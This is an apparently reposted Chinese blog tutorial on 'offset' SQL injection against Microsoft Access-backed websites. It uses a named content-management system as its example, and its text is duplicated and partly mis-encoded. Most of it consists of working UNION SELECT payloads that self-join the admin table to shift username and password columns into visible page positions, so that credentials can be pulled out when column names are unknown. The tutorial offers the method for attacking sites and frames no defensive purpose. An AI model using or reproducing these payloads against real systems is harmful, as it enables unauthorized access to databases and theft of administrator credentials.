Access注入偏移爆字段
生活随笔
收集整理的這篇文章主要介紹了
Access注入偏移爆字段
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
作者:莫良
0x01
此方法解決%90注入得到表得不到字段的網(wǎng)站,舉動(dòng)力文章為例子,它有28個(gè)字段,集合admin表5個(gè)字段,那么
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* 就是5個(gè)字段?這樣來(lái)爆admin里邊的所有表名,但注意 * 確實(shí)代表了所有admin表的字段。如果正好比如username在可顯示位置,他就會(huì)顯示在頁(yè)面上。
0x02
技術(shù)都有局限性 這個(gè)方法需要知道表名和一個(gè)字段名id,不需要其他字段,比如什么password username 。你要問他如果不在可顯示位置么,通常不知道的是表名 表段名 可以通過查找后臺(tái)登陸找到,這個(gè)就要看自己的了。
大家看看這個(gè)語(yǔ)句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
這 個(gè)(admin as a inner join admin as b on a.id=b.id)是admin表自連接,這樣from 后面的表就會(huì)成為字段數(shù)加倍的表,前面18+2*5 = 28 個(gè)字段 就是合法的。* 代表的字段就會(huì)拓寬 加大username password在可顯示位置的幾率。
如果不在怎么辦? 那么
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
大家是否覺得很疑惑 18+ 2 + 5*2 = 30 > 28 但這條語(yǔ)句是合法的
這 個(gè)地方很關(guān)鍵,他為什么會(huì)是合法的語(yǔ)句,這個(gè)地方是技術(shù)核心 必須理解。前邊是 30 后邊是 28 怎么可能相等?因?yàn)閍.id 和 b.id在 * 里是有的,那么計(jì)算機(jī)自動(dòng)去掉重復(fù)的保持集合里元素的唯一性,這樣一來(lái)雖然查詢效果一樣,但是*里的字段排列順序卻被打亂了!先后兩次打亂 很有可能讓username password偏移到可顯示的位置。
如果還沒成功 怎么辦?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)
0x03
在我還沒有看到這篇文章之前,我就有個(gè)思路,使用交叉查詢(join on)爆列名,不過看了這,篇文章之后,感覺這個(gè)還是很局限性的,有空再自己測(cè)試研究一下,畢竟SQL語(yǔ)句是強(qiáng)大的。
http://81sec.com/read.php/25.htm
0x01
此方法解決%90注入得到表得不到字段的網(wǎng)站,舉動(dòng)力文章為例子,它有28個(gè)字段,集合admin表5個(gè)字段,那么
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin
* 就是5個(gè)字段?這樣來(lái)爆admin里邊的所有表名,但注意 * 確實(shí)代表了所有admin表的字段。如果正好比如username在可顯示位置,他就會(huì)顯示在頁(yè)面上。
0x02
技術(shù)都有局限性 這個(gè)方法需要知道表名和一個(gè)字段名id,不需要其他字段,比如什么password username 。你要問他如果不在可顯示位置么,通常不知道的是表名 表段名 可以通過查找后臺(tái)登陸找到,這個(gè)就要看自己的了。
大家看看這個(gè)語(yǔ)句
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
這 個(gè)(admin as a inner join admin as b on a.id=b.id)是admin表自連接,這樣from 后面的表就會(huì)成為字段數(shù)加倍的表,前面18+2*5 = 28 個(gè)字段 就是合法的。* 代表的字段就會(huì)拓寬 加大username password在可顯示位置的幾率。
如果不在怎么辦? 那么
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
大家是否覺得很疑惑 18+ 2 + 5*2 = 30 > 28 但這條語(yǔ)句是合法的
這 個(gè)地方很關(guān)鍵,他為什么會(huì)是合法的語(yǔ)句,這個(gè)地方是技術(shù)核心 必須理解。前邊是 30 后邊是 28 怎么可能相等?因?yàn)閍.id 和 b.id在 * 里是有的,那么計(jì)算機(jī)自動(dòng)去掉重復(fù)的保持集合里元素的唯一性,這樣一來(lái)雖然查詢效果一樣,但是*里的字段排列順序卻被打亂了!先后兩次打亂 很有可能讓username password偏移到可顯示的位置。
如果還沒成功 怎么辦?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)
0x03
在我還沒有看到這篇文章之前,我就有個(gè)思路,使用交叉查詢(join on)爆列名,不過看了這,篇文章之后,感覺這個(gè)還是很局限性的,有空再自己測(cè)試研究一下,畢竟SQL語(yǔ)句是強(qiáng)大的。
http://81sec.com/read.php/25.htm
轉(zhuǎn)載于:https://blog.51cto.com/obnus/395572
總結(jié)
以上是生活随笔為你收集整理的Access注入偏移爆字段的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 净值低的时候买还是高时买 只需要注意这
- 下一篇: 基金投资亏损会不会倒贴 不会出现这样的